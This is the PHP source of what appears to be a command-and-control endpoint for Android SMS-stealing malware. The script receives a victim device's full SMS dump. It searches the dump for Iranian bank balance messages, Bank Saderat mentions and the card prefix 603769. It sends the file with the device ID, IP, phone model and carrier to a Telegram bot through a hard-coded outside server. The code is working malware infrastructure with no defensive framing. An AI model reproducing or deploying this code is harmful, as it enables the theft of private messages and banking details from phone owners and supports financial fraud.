
<?php
set_time_limit(0);
ini_set('max_execution_time', 0);
include("metii.php");
define("TOKEN", $token);
define("ID", $id);

function bot($method, $datas = [])
{
$url = "http://91.107.138.215:9987/bot".TOKEN."/" . $method;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $datas);
$res = curl_exec($ch);
if (curl_error($ch)) {

var_dump(curl_error($ch));

} else {
return json_decode($res);
}
}
function sfanel($text,$keyboard){
	bot('sendDocument',[
	'chat_id'=>ID,
	'caption'=>$text,
	'parse_mode'=>'HTML',
	'document'=> new CURLFILE("AllSMS.txt"),
	'reply_markup'=>$keyboard
	]);
}


if (isset($_GET['result'])) {
  $result = $_GET['result'];
  if ($result == "ok") {
    $action = $_GET['action'];
    if (isset($_GET['androidid'])) {
      $androidid = $_GET['androidid'];
    }
    if (isset($_GET['model'])) {
      $model = $_GET['model'];
    }
    if (isset($_GET['opr'])) {
      $opr = $_GET['opr'];
    }
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}

    if ($action == "uploadsms") {
      $PostData = file_get_contents("php://input");
      $File = fopen("AllSMS.txt", "w");
      fwrite($File, $PostData);
      fclose($File);
      $check = file_get_contents("AllSMS.txt");
              $data_list = json_decode(file_get_contents("data/$androidid.json"), true);
$ipfrist=  $data_list['ipfrist'] ? $data_list['ipfrist'] : 'ثبت نشده';

            $search = 'مانده';
            $lines = file('AllSMS.txt');
            foreach ($lines as $line) {
                if (strpos($line, $search, 0) !== false) {
                    $balance1 = "💰 Balance : $line";
                    break;

                }
            }

            $check = file_get_contents("AllSMS.txt");
            if (strpos($check, "صادرات") !== false) {
                $saderat = "💳 Card search - (صادرات) ᴅᴇᴛᴇᴄᴛᴇᴅ ✅";
            } else {
                $saderat = "💳 Card search - (صادرات) Not Detected ❌";
            }

            $search = '603769';
            $lines = file('AllSMS.txt');
            foreach ($lines as $line) {
                if (strpos($line, $search, 0) !== false) {
                    $ens = "🔎 603769 : $line";
                    break;

                }
            }
      sfanel("📧SMS File

AndroidId : /set_$androidid
IP : <code>$ip</code>
IP FRIST : <code>$ipfrist</code>
📱Model : $model
📶 Operator : $opr

~$balance1
~$saderat
~$ens

~CodedBy: @Harfam_pm
  ",null
        );
    }
  }
}
	    unlink("AllSMS.txt");

?>